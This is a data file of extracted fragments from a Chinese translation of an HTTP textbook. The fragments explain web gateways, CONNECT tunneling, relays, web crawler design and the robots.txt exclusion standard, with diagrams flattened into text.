    {"text": "HTTP 也已成为应用程序开发者的一种基本构造模块，开发者们可以在 HTTP 上捎 回其他的协议内容（比如，可以将其他协议的流量包裹在 HTTP 中，用 HTTP 通 过隧道或中继方式将这些流量传过公司的防火墙）。 Web 上所有的资源都可以使 用 HTTP 协议，而且其他应用程序和应用程序协议也可以利用 HTTP 来完成它们的 任务。 本章简要介绍了一些开发者用 HTTP 访问不同资源的方法，展示了开发者如何将 HTTP 作为框架启动其他协议和应用程序通信。 本章会讨论： • 在 HTTP 和其他协议及应用程序之间起到接口作用的网关； • 允许不同类型的 Web 应用程序互相通信的应用程序接口；"},
    {"text": "应用程序可以（通过 HTTP 或其他已定义的接口）请求网关来处理某条请求， 网关可以提供一条响应。 网关可以向数据库发送查询语句，或者生成动态的内容， 就像一个门一样：进去一条请求，出来一个响应。"},
    {"text": "在这里，Joe 的五金商店服务器就是作为连接数据库 内容的网关使用的——注意，客户端只是在通过 HTTP 请求资源，而 Joe 的五金商 店的服务器在与网关进行交互以获取资源。"},
    {"text": "208 ｜ 第 8 章 客户端在请求http://www.joes-hardware.com/query-db.cgi?newproducts 请求报文 GET /query-db.cgi?newproducts HTTP/1.1 Host: www.joes-hardware.com Accept: * 响应报文 客户端 HTTP/1.0 200 OK New product list: www.joes-hardware.com 网关 数据库 ... 图 8-1 网关的魔力 （a）HTTP/FTP服务器端FTP网关 HTTP FTP HTTP客户端 网关 FTP服务器 （b）HTTPS/HTTP客户端安全网关 SSL HTTP HTTPS客户端 网关 Web服务器 （c）HTTP/CGI服务器端应用程序网关 CGI（或其他API） HTTP 应用程序服务器 程序 HTTP客户端 应用程序服务器网关 图 8-2 三个 Web 网关实例 图 8-2 显示了三个网关的示例。"},
    {"text": "• 在图 8-2b 中，网关通过 SSL 收到了一条加密的 Web 请求，网关会对请求进行解 集成点：网关、隧道及中继 ｜ 209 密，1 然后向目标服务器转发一条普通的 HTTP 请求。"},
    {"text": "客户端和服务器端网关 Web 网关在一侧使用 HTTP 协议，在另一侧使用另一种协议。 2 可以用一个斜杠来分隔客户端和服务器端协议，并以此对网关进行描述： < 客户端协议 >/< 服务器端协议 > 因此，将 HTTP 客户端连接到 NNTP 新闻服务器的网关就是一个 HTTP/NNTP 网 关。 我们用术语服务器端网关和客户端网关来说明对话是在网关的哪一侧进行的。 • 服务器端网关（server-side gateway）通过 HTTP 与客户端对话，通过其他协议 与服务器通信（HTTP/*）。 • 客户端网关（client-side gateway）通过其他协议与客户端对话，通过 HTTP 与服 199 务器通信（*/HTTP）。"},
    {"text": "在图中显示的配置中， 配置浏览器将 gw1.joes-hardware.com 作为所有 FTP URL 的 HTTP/FTP 网关。 浏览 器没有将 FTP 命令发送给 FTP 服务器，而是将 HTTP 命令发送给端口 8080 上的 HTTP/FTP 网关 gw1.joes-hardware.com。"},
    {"text": "（a）MSIE的手工代理设置 （b）Navigator的手工代理设置 图 8-3 配置一个 HTTP/FTP 网关 GET http://www.cnn.com/HTTP/1.0 Host: www.cnn.com User-agent: SuperBrowser 4.2 HTTP Web服务器 (www.cnn.com) HTTP客户端 8080 HTTP FTP GET ftp://ftp.irs.gov/pub/00-index.txt HTTP/1.0 Host: ftp.irs.gov HTTP/FTP网关 FTP服务器 User-agent: SuperBrowser 4.2 (gw1.joes-hardware.com) (ftp.irs.gov) 图 8-4 浏览器可以通过配置，让特定的协议使用特定的网关 后面的小节会介绍各种常见网关类型：服务器协议转换器、服务器端安全网关、客 户端安全网关以及应用程序服务器。"},
    {"text": "集成点：网关、隧道及中继 ｜ 211 USER anonymous PASS joe CWD /pub TYPE A MDTM 00-index.txt GET ftp://ftp.irs.gov/pub/00-index.txt HTTP/1.0 PASV Host: ftp.irs.gov 端口 RETR 00-index.txt 21 User-agent: SuperBrowser 4.2 FTP控制连接 HTTP FTP数据连接 HTTP客户端 HTTP/FTP输 ...data.. FTP服务器 入转换网关 入站 图 8-5 HTTP/FTP 网关将 HTTP 请求转换成 FTP 请求 200 在图 8-5 中，网关收到了一条对 FTP 资源的 HTTP 请求： ftp://ftp.irs.gov/pub/00-index.txt 网关会打开一条到原始服务器 FTP 端口（端口 21）的 FTP 连接，通过 FTP 协议获 取对象。"},
    {"text": "GET http://www.cnn.com/ HTTP/1.0 mdsnrt734tngfd/p0f92piub5. Host: www.cnn.com lod9fuo8w34b4/;p-90[g9yk,8 User-agent: Superbrowser 4.2 U|t6y6/ $!&9890G&*&98... HTTP SSL上的HTTP（HTTPS） 443 口 HTTP客户端 HTTP/HTTPS 端 安全Web 输入安全网关 服务器 图 8-6 输入 HTTP/HTTPS 安全网关 受保护的内部LAN mdsnrt734tngfd/p0f92piub5. GET http://www.cnn.com/ HTTP/1.0 lod9fuo8w34b4/;p-90[g9yk,8 Host: www.cnn.com U|t6y6/ $!&9890G&*&98... User-agent: Superbrowser 4.2 SSL上的HTTP（HTTPS） HTTP 浏览器 HTTPS/HTTP安 www.cnn.com 全加速器网关 图 8-7 HTTPS/HTTP 安全加速器网关 这些网关中通常都包含专用的解密硬件，以比原始服务器有效得多的方式来解密安 全流量，以减轻原始服务器的负荷。"},
    {"text": "但最常见的网 关，应用程序服务器，会将目标服务器与网关结合在一个服务器中实现。 应用程序 服务器是服务器端网关，与客户端通过 HTTP 进行通信，并与服务器端的应用程序 相连（参见图 8-8）。"},
    {"text": "集成点：网关、隧道及中继 ｜ 213 应用程序服务器 HTTP 客户端A 摄相装 网络摄像机网关API 置及软件 11000101101 电子商务应用程序 HTTP 电子商务API 客户端B 图 8-8 应用程序服务器可以将 HTTP 客户端连接任意后台应用程序 • 收到客户端 A 的请求，根据 URI 将其通过 API 发送给一个数码摄相机应用程序。"},
    {"text": "• 客户端 B 的 URI 请求的是一个电子商务应用程序。 客户端 B 的请求是通过服务 器网关 API 发送给电子商务软件的，结果会被回送给浏览器。 电子商务软件与客 户端进行交互，引导用户通过一系列 HTML 页面来完成购物。"},
    {"text": "214 ｜ 第 8 章 服务器内部视图 服务器进程 请求1 引发的网关进程1 请求数据 请求2 引发的网关进程2 请求N 引发的网关进程N 服务器系统 响应N 响应2 响应1 响应数据 图 8-9 服务器网关应用程序机制 8.3.1 CGI CGI 是第一个，可能仍然是得到最广泛使用的服务器扩展。"},
    {"text": "这个接 口还能很好地保护服务器，防止一些糟糕的扩展对它造成的破坏（如果这些扩展直 接与服务器相连，造成的错误可能会引发服务器崩溃）。"},
    {"text": "8.3.2 服务器扩展API CGI 协议为外部翻译器与现有的 HTTP 服务器提供了一种简洁的接口方式，但如 集成点：网关、隧道及中继 ｜ 215 果想要改变服务器自身的行为，或者只是想尽可能地提升能从服务器上获得的性能 呢？"},
    {"text": "服务器开发者为这两种需求提供了几种服务器扩展 API，为 Web 开发者提供了 强大的接口，以便他们将自己的模块与 HTTP 服务器直接相连。 扩展 API 允许程序 员将自己的代码嫁接到服务器上，或者用自己的代码将服务器的一个组件完整地替 换出来。 大多数流行的服务器都会为开发者提供一个或多个扩展 API。 这些扩展通常都会绑 定在服务器自身的结构上，所以，大多数都是某种服务器类型特有的。 微软、网景、 Apache 和其他服务器都提供了一些 API 接口，允许开发者通过这些接口改变服务器 的行为，或者为不同的资源提供一些定制的接口。"},
    {"text": "在将应用程序连接起来的过 程中，一个更为棘手的问题是在两个应用程序之间进行协议接口的协商，以便这些 205 应用程序可以进行数据的交换——这通常都是针对具体应用程序的个案进行的。"},
    {"text": "第 19 章描述了几个用于交换定制信息的扩展 HTTP 或 HTTP 上层协议实例。 19.1 节介绍的是在 HTTP POST 报文之上建立 RPC 层， 19.2 节介绍的是向 HTTP 首 部添加 XML 的问题。"},
    {"text": "3 8.5 隧道 我们已经讨论了几种不同的方式，通过这些方式可以用 HTTP 对不同类型的资源进 行访问（通过网关），或者是用 HTTP 来启动应用程序到应用程序的通信。 在本节 中，我们要看看 HTTP 的另一种用法——Web 隧道（Web tunnel），这种方式可以通 过 HTTP 应用程序访问使用非 HTTP 协议的应用程序。 Web 隧道允许用户通过 HTTP 连接发送非 HTTP 流量，这样就可以在 HTTP 上捎带 其他协议数据了。 使用 Web 隧道最常见的原因就是要在 HTTP 连接中嵌入非 HTTP 流量，这样，这类流量就可以穿过只允许 Web 流量通过的防火墙了。 8.5.1 用CONNECT建立HTTP隧道 Web 隧 道 是 用 HTTP 的 CONNECT 方 法 建 立 起 来 的。"},
    {"text": "可 以 在 Ari Luotonen 的 过 期 因 特 网 草 案 规 范“Tunneling TCP based protocols through Web proxy servers”（“通过 Web 代理服务器用隧道方式传输基于 TCP 的协议”），或他的 著作 Web Proxy Servers 中找到这些技术规范，本章末尾引用了这两份资源。"},
    {"text": "图 8-10 显示了 CONNECT 方法如何建立起一条到达网关的隧道。 • 在 图 8-10a 中， 客 户 端 发 送 了 一 条 CONNECT 请 求 给 隧 道 网 关。 客 户 端 的 CONNECT 方法请求隧道网关打开一条 TCP 连接（在这里，打开的是到主机 orders.joes-hardware.com 的标准 SSL 端口 443 的连接）。"},
    {"text": "集成点：网关、隧道及中继 ｜ 217 隧道位于客户端和网关之间 普通的SSL连接 客户端 网关（隧 orders.joes-hardware.com （a）发送CONNECT请求 道端点） CONNECT orders.joes-hardware.com:443 HTTP/1.0 User-agent: SuperBrowser4.2 （b）打开到端口443的TCP连接 （d）返回HTTP连接就绪报文 HTTP/1.0 200 Connection established （c）连接已建立 （e）此时，建立起了原始数据的任意、 双向通信，直到连接关闭为止。 mdsnrt734tngfd/p0f92piub5. lod9fuo8w34b4/;p-90[g9yk,8 U|t6y6/ $!&9890G&*&98... mdsnrt734tngfd/p0f92piub5. lod9fuo8w34b4/;p-90[g9yk,8 U|t6y6/ $!&9890G&*&98... gal1304-*&hsgd gal1304-*&hsgd 207 图 8-10 用 CONNECT 建立一条 SSL 隧道 图 8-10 中的例子描述了一条 SSL 隧道，其中的 SSL 流量是在一条 HTTP 连接上 发送的，但是通过 CONNECT 方法可以与使用任意协议的任意服务器建立 TCP 连 接的。"},
    {"text": "按照惯例，响应中的原因短语通常被设置为“Connection Established”： HTTP/1.0 200 Connection Established Proxy-agent: Netscape-Proxy/1.1 与普通 HTTP 响应不同，这个响应并不需要包含 Content-Type 首部。"},
    {"text": "在请求之后以管道方式发送数据的客户端，如果发现回送的响应是认证请求， 或者其他非 200 但不致命的错误状态，就必须做好重发请求数据的准备。"},
    {"text": "7 如果在任意时刻，隧道的任意一个端点断开了连接，那个端点发出的所有未传输数 据都会被传送给另一个端点，之后，到另一个端点的连接也会被代理终止。"},
    {"text": "集成点：网关、隧道及中继 ｜ 219 （a）防火墙拒绝SSL 端口443 过滤路由器 过滤路由器 客户端 服务器 防火墙代理 SSL （被拒） （b）防火墙接受由HTTP承载的SSL 在HTTP 中隧道化 传输的 端口80 SSL（被 过滤路由器 过滤路由器 客户端 接受了） SSL服务器 防火墙代理 图 8-11 隧道可以经由 HTTP 连接传输非 HTTP 流量 为了让 SSL 流量经现存的代理防火墙进行传输，HTTP 中添加了一项隧道特性，在 此特性中，可以将原始的加密数据放在 HTTP 报文中，通过普通的 HTTP 信道传送 209 （参见图 8-12）。"},
    {"text": "在图 8-12a 中，SSL 流量被直接发送给了一个（SSL 端口 443 上的）安全 Web 服务 器。 在图 8-12b 中，SSL 流量被封装到一条 HTTP 报文中，并通过 HTTP 端口 80 上 的连接发送，最后被解封装为普通的 SSL 连接。"},
    {"text": "8.5.4 SSL隧道与HTTP/HTTPS网关的对比 可以像其他协议一样，对 HTTPS 协议（SSL 上的 HTTP）进行网关操作：由网关 （而不是客户端）初始化与远端 HTTPS 服务器的 SSL 会话，然后代表客户端执行 HTTPS 事务。"},
    {"text": "210 （a）直接的SSL连接 端口443 SSL SSL连接 SSL 客户端 服务器 （b）通过HTTP隧道建立的SSL连接 客户端 SSL SSL SSL连接 SSL 3 443 隧道起点 隧道终点 端口 服务器 端口80 隧道在一条普通的HTTP连接上 HTTP SSL HTTP连接 HTTP SSL 承载了SSL流量，目标端口443 图 8-12 直接的 SSL 连接与隧道化 SSL 连接的对比 注意，对于 SSL 隧道机制来说，无需在代理中实现 SSL。"},
    {"text": "SSL 会话是建立在产生请 求的客户端和目的（安全的）Web 服务器之间的，中间的代理服务器只是将加密数 据经过隧道传输，并不会在安全事务中扮演其他的角色。"},
    {"text": "8.5.5 隧道认证 在适当的情况下，也可以将 HTTP 的其他特性与隧道配合使用。 尤其是，可以将代 理的认证支持与隧道配合使用，对客户端使用隧道的权利进行认证（参见图 8-13）。"},
    {"text": "因此，比如说，一些喜欢捣乱的用户可能会通过本打算用于 SSL 的隧道，越 211 过公司防火墙传递因特网游戏流量，而恶意用户可能会用隧道打开 Telnet 会话，或 用隧道绕过公司的 E-mail 扫描器来发送 E-mail。"},
    {"text": "集成点：网关、隧道及中继 ｜ 221 为了降低对隧道的滥用，网关应该只为特定的知名端口，比如 HTTPS 的端口 443， 打开隧道。 客户端和网关之间的隧道 普通的SSL连接 客户端 网关 orders.joes-hardware.com （隧道端点） （a）发送的CONNECT请求 CONNECT orders.joes-hardware.com:443 HTTP/1.0 User-agent: SuperBrowser 4.2 （b）返回的认证请求 HTTP/1.0 407 Proxy authentication required Proxy-authenticate: Basic realm=\"wormhole\" （c）发送带有适当认证信息的CONNECT请求 CONNECT orders.joes-hardware.com:443 HTTP/1.0 User-agent: SuperBrowser 4.2 Proxy-authorization: Basic YnJpYW4tdG90dHk6T3ch （d）打开到端口443的TCP连接 （f）返回HTTP连接就绪报文 HTTP/1.0 200 Connection established （e）连接已建立 图 8-13 网关允许某客户端使用隧道之前，可以对其进行代理认证 8.6 中继 HTTP 中继（relay）是没有完全遵循 HTTP 规范的简单 HTTP 代理。"},
    {"text": "某些简单盲中继实现中存在的一个更常见（也更声名狼藉的）问题是，由于它们无 法正确处理 Connection 首部，所以有潜在的挂起 keep-alive 连接的可能。"},
    {"text": "222 ｜ 第 8 章 （b）服务器认为对方要求建 立keep-alive连接，所以任务 完成后不会关闭连接 (a) Connection: Keep-Alive (b) Connection: Keep-Alive 盲中继 (d) Connection: Keep-Alive (c) Connection: Keep-Alive 客户端 服务器 （c）中继会等待连接的关闭， （ 忽略连接上所有的新请求 e）下一条请求 （f）中继不会去处理keep-alive连接上客户 端发出的第二条请求，所以它会挂起在那里 图 8-14 如果简单盲中继是单任务的，且不支持 Connection 首部，就会挂起 这张图中发生的情况如下所述。 • 在图 8-14a 中，Web 客户端向中继发送了一条包含 Connection: Keep-Alive 首部的报文，如果可能的话要求建立一条 keep-alive 连接。"},
    {"text": "当 Web 服务器收 到经过代理转发的 Connection: Keep-Alive 首部时，会错误地认为中继（对 服务器来说，它看起来就和其他客户端一样）要求进行 keep-alive 的对话！ 这对 Web 服务器来说没什么问题——它同意进行 keep-alive 对话，并在图 8-14c 中回 送了一个 Connection: Keep-Alive 响应首部。 那么，此时，Web 服务器就认 为它是在与中继进行 keep-alive 对话，会遵循 keep-alive 对话的规则。"},
    {"text": "• 在图 8-14d 中，当客户端收到回送的响应报文时，它会直接转向第二条请求，在 keep-alive 连接上向中继发送另一条请求（参见图 8-14e）。"},
    {"text": "• http://www.w3.org/Protocols/rfc2616/rfc2616.txt RFC 2616， 由 R. Fielding、J. Gettys、J. Mogul、H. Frystyk、L. Mastinter、 P. Leach 和 T. Berners-Lee 编写的“Hypertext Transfer Protocol”。"},
    {"text": "• http://www.alternic.org/drafts/drafts-l-m/draft-luotonen-Web-proxy-tunneling-01.txt Ari Luotonen 编写的“Tunneling TCP based protocols through Web proxy servers” （“用隧道方式通过 Web 代理服务器传输基于 TCP 的协议”）。"},
    {"text": "（编者注） 224 ｜ 第 8 章 第9章 Web 机器人 225 本章我们来仔细了解一下被称为 Web 机器人（Web robot）的自活跃（self-animating） 用户代理，以继续我们的 HTTP 架构之旅。"},
    {"text": "根据这些机器人自动探查 Web 站点的方式，人们 为它们起了一些各具特色的名字，比如“爬虫”、“蜘蛛”、“蠕虫”以及“机器人” 等，就好像它们都有自己的头脑一样。"},
    {"text": "9.1 爬虫及爬行方式 Web 爬虫是一种机器人，它们会递归地对各种信息性 Web 站点进行遍历，获取第 一个 Web 页面，然后获取那个页面指向的所有 Web 页面，然后是那些页面指向的 所有 Web 页面，依此类推。 递归地追踪这些 Web 链接的机器人会沿着 HTML 超链 215 创建的网络“爬行”，所以将其称为爬虫（crawler）或蜘蛛（spider）。 因特网搜索引擎使用爬虫在 Web 上游荡，并把它们碰到的文档全部拉回来。"},
    {"text": "爬虫开始访问的 URL 初始集合 被称作根集（root set）。 挑选根集时，应该从足够多不同的站点中选择 URL，这样， 爬遍所有的链接才能最终到达大部分你感兴趣的 Web 页面。"},
    {"text": "A G L S B C D H I M N T U E F J O K P Q R 图 9-1 根集要能够到达所有的页面 这个 Web 结构中的某些 Web 页面，比如 S、T 和 U，几乎是被隔离开来的——它们 是孤立的，没有任何链接指向它们。"},
    {"text": "216 9.1.2 链接的提取以及相对链接的标准化 爬虫在 Web 上移动时，会不停地对 HTML 页面进行解析。 它要对所解析的每个页 面上的 URL 链接进行分析，并将这些链接添加到需要爬行的页面列表中去。"},
    {"text": "• 在图 9-2a 中，机器人获取页面 A，看到 A 链接到 B，就获取页面 B。 • 在图 9-2b 中，机器人获取页面 B，看到 B 链接到 C，就获取页面 C。 • 在图 9-2c 中，机器人获取页面 C，会看到 C 链接到 A。"},
    {"text": "如果机器人再次获取页面 A， 就会陷入一个环路中，获取 A、B、C、A、B、C、A…… A B E B E B E AB A A A ABC C C C D D D （a）机器人获取页面A， （b）机器人跟踪链 c （ ）机器人跟踪链接，回到A 跟踪链接，获取B 接，获取页面C 图 9-2 在 Web 的超链中爬行 机器人必须知道它们到过何处，以避免环路的出现。"},
    {"text": "如果要爬行世界范围内的一大块 Web 内容，就要做好访问数十亿 URL 的准备。 记 录下哪些 URL 已经访问过了是件很具挑战的事情。 由于 URL 的数量巨大，所以， 要使用复杂的数据结构以便快速判定哪些 URL 是曾经访问过的。"},
    {"text": "如果平均每个 URL 有 40 个字符长，而且一个 Web 机器人要爬行 5 亿个 URL（只是 Web 的一小部分），那么搜索数据结构只是存储这 些 URL 就需要 20GB 或更多的存储空间（40 字节 /URL×5 亿个 URL = 20GB）！"},
    {"text": "Witten 等 人 编 写 的 Managing Gigabytes: Compressing and Indexing Documents and Images （《海量数据管理——文档和图像的压缩与索引》）4， Morgan Kaufmann 出版 社出版，是实现大规模数据结构的很好的参考书。"},
    {"text": "表9-1 同一文档的不同URL别名 第一个URL 第二个URL 什么时候是别名 a http://www.foo.com/bar.html http://www.foo.com:80/bar.html 默认端口为 80 b http://www.foo.com/~fred http://www.foo.com/%7Ffred %7F 与 ~ 相同 c http://www.foo.com/x.html#early http://www.foo.com/x.html#middle 标签并没有修改页面内容 d http://www.foo.com/readme.htm http://www.foo.com/README.HTM 服务器是大小写无关的 e http://www.foo.com/ http://www.foo.com/index.html 默认页面为 index.html f http://www.foo.com/index.html http://209.231.87.45/index.html www.foo.com 使用这个 IP 地址 219 9.1.7 规范化URL 大多数 Web 机器人都试图通过将 URL“规范化”为标准格式来消除上面那些显而 易见的别名。"},
    {"text": "但如果不知道特定 Web 服务器的相关信息，机器人就没什么好办法来避免表 9-1 中 d~f 的问题了。 • 机器人需要知道 Web 服务器是否是大小写无关的才能避免表 9-1d 中的别名问题。 • 机器人需要知道 Web 服务器上这个目录下的索引页面配置才能知道表 9-1e 中的 情况是否是别名。 • 即使机器人知道表 9-1f 中的主机名和 IP 地址都指向同一台计算机，它也还要 知道 Web 服务器是否配置为进行（参见第 5 章）虚拟主机操作，才能知道这个 URL 是不是别名。"},
    {"text": "/ / index.html subdir index.html subdir index.html logo.gif （a）subdir是个目录 （b）subdir是个向上的符号连接 图 9-3 符号连接环路 使用图 9-3a 所示的文件系统时，Web 爬虫可能会采取下列动作： (1) GET http://www.foo.com/index.html 获取 /index.html，找到指向 subdir/index.html 的链接。 Web机器人 ｜ 231 (2) GET http://www.foo.com/subdir/index.html 获取 subdir/index.html，找到指向 subdir/logo.gif 的链接。 (3) GET http://www.foo.com/subdir/logo.gif 220 获取 subdir/logo.gif，再没有链接了，结束。 但在图 9-3b 的文件系统中，可能会发生下列情况： (1) GET http://www.foo.com/index.html 获取 /index.html，找到指向 subdir/index.html 的链接。 (2) GET http://www.foo.com/subdir/index.html 获取 subdir/index.html，但得到的还是同一个 index.html。 (3) GET http://www.foo.com/subdir/subdir/index.html 获取 subdir/subdir/index.html。 (4) GET http://www.foo.com/subdir/subdir/subdir/index.html 获取 subdir/subdir/subdir/index.html。"},
    {"text": "这个应用程序可以在传输中构造出包含了到同一服务器上虚构 URL 链接的 HTML。 请求这些虚构的 URL 时，这个邪恶的服务器就会捏造出一个带有新的虚构 URL 的新 HTML 页面来。"},
    {"text": "5 请求报文 GET /index-fall.html HTTP/1.1 Host: www.evil-joes-hardware.com Accept: * User-agent: ShopBot 响应报文 www.evil-joes-hardware.com HTTP/1.1 200 OK Content-type: text/html Content-length: 617 <HTML><BODY> <A HREF=/index-fall2.html>trick</A>[...] Web机器人客户端 请求报文 GET /index-fall2.html HTTP/1.1 Host: www.evil-joes-hardware.com Accept: * User-agent: ShopBot 响应报文 www.evil-joes-hardware.com HTTP/1.1 200 OK Content-type: text/html Content-length: 617 <HTML><BODY> <A HREF=/index-fall3.html>trick</A>[...] Web机器人客户端 有几个站点上只有恶意的网关应用程序，其唯一目的就是用假内容来陷害毫无防备的机器人。"},
    {"text": "机器 人的实现者需要做一些取舍——这些试探方式有助于避免问题的出现，但你可能会 终止扫描那些看起来可疑的有效内容，因此这种方式也是“有损失”的。"},
    {"text": "注 5： 这 是 http://www.searchtools.com/robots/robot-checklist.html 上 提 到 的 日 历 站 点 http://cgi.umbc.edu/cgi-bin/WebEvent/Webevent.cgi 上的真实例子。"},
    {"text": "6 • 节流 7 限制一段时间内机器人可以从一个 Web 站点获取的页面数量。 如果机器人跳进 了一个环路，试图不断地访问某个站点的别名，也可以通过节流来限制重复的页 面总数和对服务器的访问总数。"},
    {"text": "但现在很多大型爬虫产品都有某种形式的黑名单，用 于避开某些存在固有问题或者有恶意的站点。 还可以用黑名单来避开那些对爬行 223 大惊小怪的站点。"},
    {"text": "如果机器人获取了一个页面，而此页面的校 验和它曾经见过，它就不会再去爬行这个页面的链接了——如果机器人以前见过 页面的内容，它就已经爬行过页面上的链接了。"},
    {"text": "有些 Web 服务器会在传输过程中对页面进行动态的修改，所以有时机器人会在 校验和的计算中忽略 Web 页面内容中的某些部分，比如那些嵌入的链接。"},
    {"text": "设计所有产品级机器人时都要有诊断和日志功能，这样人类才能很方便地 监视机器人的进展，如果发生了什么不寻常的事情就可以很快收到警告。"},
    {"text": "当受到错误爬虫影响的资源（服务器、网络带宽等）处于可管理状态，或者处于 执行爬行工作的人的控制之下（比如在内部站点上）时，很多较小的、更具个性 的爬虫就会绕开这些问题。"},
    {"text": "9.2.1 识别请求首部 尽管机器人倾向于只支持最小的 HTTP 集，但大部分机器人确实实现并发送了一些 识别首部——最值得一提的就是 User-Agent 首部。"},
    {"text": "因此，不包含 Host 首部的爬虫向提供两个站点的服务器发起请求时，就像图 9-5 中的站点一样（www. joes-hardware.com 和 www.foo.com），假设默认情况下服务器被配置为提供 www. joes-hardware.com 站点（且不需要 Host 首部），那么，若请求 www.foo.com 上的 某个页面，爬虫实际获取的就是 Joe 的五金商店的站点上的内容。"},
    {"text": "机器人试图从www.foo.com上请 求/index.html，但它没有包含Host首部 服务器是配置为提供这两个站点的，但默 Web机器人客户端 认情况下提供的是Joe的五金商店的站点。"},
    {"text": "请求报文 GET /index.html HTTP/1.0 User-agent: ShopBot 1.0 www.joes-hardwar e.com 响应报文 www.foo.com HTTP/1.0 200 OK [...] <HTML> <TITLE>Welcome to Joe's Hardware!</TITLE> [...] 图 9-5 发送请求时没有携带 Host 首部，虚拟 docroot 会引发问题的例子 9.2.3 条件请求 鉴于这些机器人的努力程度，尽量减少机器人所要获取内容的数量通常是很有意义 的。"},
    {"text": "Web机器人 ｜ 237 9.2.4 对响应的处理 很多机器人的兴趣主要在于用简单的 GET 方法来获取所请求的内容，所以，一般不 会在处理响应的方式上花费太多时间。 但是，使用了某些 HTTP 特性（比如条件请 求）的机器人，以及那些想要更好地探索服务器，并与服务器进行交互的机器人则 要能够对各种不同类型的 HTTP 响应进行处理。"},
    {"text": "HTML 元标签，13 比如元标签 http-equiv，就是内容编写者用于嵌入资源附加信息的一种方式。 服务器可能会为它所处理的内容提供一些首部，标签 http-equiv 为内容编写者提 供了一种覆盖这些首部的方式： <meta http-equiv=\"Refresh\" content=\"1;URL=index.html\"> 这个标签会指示接收者处理这个文档时，要当作其 HTTP 响应首部中有一个值为 1,URL=index.html 的 Refresh HTTP 首部。 14 有些服务器实际上会在发送 HTML 页面之前先对其内容进行解析，并将 http-equiv 指令作为首部包含进去；"},
    {"text": "15 注 13： 9.4.7 节列出了一些附加的元指令，站点管理员和内容编写者可以通过这些元指令来控制机器人的行为， 以及这些机器人对已获取文档所执行的操作。"},
    {"text": "在某些搜索引擎上执行文本搜索，搜索短语“your browser does not support frames”（你的浏览器不支持框架），会生成一个包含那条短语的出错页面 列表。"},
    {"text": "如果机器人存在编程逻辑错误，或者陷 入了环路之中，就可能会向 Web 服务器发出大量的负载——很可能会使服务器 过载，并拒绝为任何其他人提供服务。"},
    {"text": "这会激 怒某些 Web 站点的管理员，他们不喜欢他们的错误日志中充满了对不存在文档 的访问请求，也不希望提供出错页面的开销降低其 Web 服务器的处理能力。"},
    {"text": "• 很长的错误 URL 由于环路和编程错误的存在，机器人可能会向 Web 站点请求一些很大的、无意 义的 URL。 如果 URL 足够长的话，就会降低 Web 服务器的性能，使 Web 服务 注 16： 如果某站点上有一些不应该让机器人访问的内容，站点管理员该如何控制机器人在其站点上的行为 呢？"},
    {"text": "如果数据的所有者没有主动宣 传这些 Web 页面，那么在最好的情况下，他只是会认为机器人的发布行为惹人 讨厌，而在最坏的情况下，则会认为这种行为是对隐私的侵犯。"},
    {"text": "17 通常，发生这种情况是由于机器人所跟踪的、指向“私有”内容的超链已经存在 了（也就是说，这些内容并不像其所有者认为的那么隐密，或者其所有者忘记删 除先前存在的超链了）。 偶尔也会因为机器人非常热衷于寻找某站点上的文档而 出现这种情况，很可能就是在没有显式超链的情况下去获取某个目录的内容造 成的。"},
    {"text": "从 Web 上获取大量数据的机器人的实现者们应该清楚，他们的机器人很可能会 在某些地方获得敏感的数据——站点的实现者不希望通过因特网能够访问到这些 数据。"},
    {"text": "现在已知一些恶意使用搜索引擎和归档的用户会利 用大型 Web 爬虫来查找内容——有些搜索引擎，比如 Google，18 实际上会对它 们爬行过的页面进行归档，这样，即使内容被删除了，在一段时间内还是可以找 到并访问它。"},
    {"text": "1994 年，人们提出 了一项简单的自愿约束技术，可以将机器人阻挡在不适合它的地方之外，并为网站 注 17： 通常，如果某资源可以通过公共因特网获取的话，它很可能会在某处被引用。"},
    {"text": "Web机器人客户端 www.joes-hardwar e.com GET /robots.txt 机器人对robots.txt文件进行 解析，判断是否允许它访问 文件acetylene-torches.html GET /specials/acetylene-torches.html 允许访问，继续发送请求 图 9-6 在爬行目标文件之前，先获取 robots.txt，验证是否可以进行访问 9.4.1 拒绝机器人访问标准 拒绝机器人访问标准是一个临时标准。"},
    {"text": "但是，具备一些对机器人访问 Web 站点的管理能力，即使并不完美，也总比一点儿都没有要好，而且大部分主要 的生产厂商和搜索引擎爬虫都支持这个拒绝访问标准。"},
    {"text": "Web机器人 ｜ 241 表9-2 拒绝机器人访问标准的版本 版 本 标题及描述 日 期 0.0 拒绝机器人标准——Martijn Koster 提出的带有 Disallow（不允 1994 年 6 月 许）指令的原始 robots.txt 机制 1.0 控制 Web 机器人的方法——Martijn Koster 提供了额外支持 Allow 1996 年 11 月 （允许）的 IETF 草案 2.0 拒绝机器人访问的扩展标准——Sean Conner 提出的扩展标准，包 1996 年 11 月 括了正则表达式和定时信息；"},
    {"text": "9.4.2 Web站点和robots.txt文件 如果一个 Web 站点有 robots.txt 文件，那么在访问这个 Web 站点上的任意 URL 之 前，机器人都必须获取它并对其进行处理。"},
    {"text": "机器人应该在 From 首部和 User-Agent 首部中传输标识信息，以帮助站点管理者 对机器人的访问进行跟踪，并在站点管理者要查询，或投诉的机器人事件中提供一 些联系信息。"},
    {"text": "下面是一个来自商业 Web 机器人的 HTTP 爬虫请求实例： GET /robots.txt HTTP/1.0 Host: www.joes-hardware.com User-Agent: Slurp/2.0 Date: Wed Oct 3 20:22:48 EST 2001 注 19： 尽管我们说的是 robots.txt 文件，但 robots.txt 资源并不一定要严格地位于文件系统中。"},
    {"text": "• 如果服务器以一个成功状态（HTTP 状态码 2XX）为响应，机器人就必须对内容 进行解析，并使用排斥规则从那个站点上获取内容。 • 如果服务器响应说明资源并不存在（HTTP 状态码 404），机器人就可以认为服务 器没有激活任何排斥规则，对此站点的访问不受 robots.txt 的限制。 231 • 如果服务器响应说明有访问限制（HTTP 状态码 401 或 403），机器人就应该认为 对此站点的访问是完全受限的。 • 如果请求尝试的结果是临时故障（HTTP 状态码 503），机器人就应该推迟对此站 点的访问，直到可以获取该资源为止。 • 如果服务器响应说明是重定向（HTTP 状态码 3XX），机器人就应该跟着重定向， 直到找到资源为止。"},
    {"text": "9.4.3 robots.txt文件的格式 robots.txt 文件采用了非常简单的，面向行的语法。 robots.txt 文件中有三种类型的 行：空行、注释行和规则行。"},
    {"text": "比如： # this robots.txt file allows Slurp & Webcrawler to crawl # the public parts of our site, but no other robots... User-Agent: slurp User-Agent: webcrawler Disallow: /private User-Agent: * Disallow: robots.txt 文件中的行可以从逻辑上划分成“记录”。"},
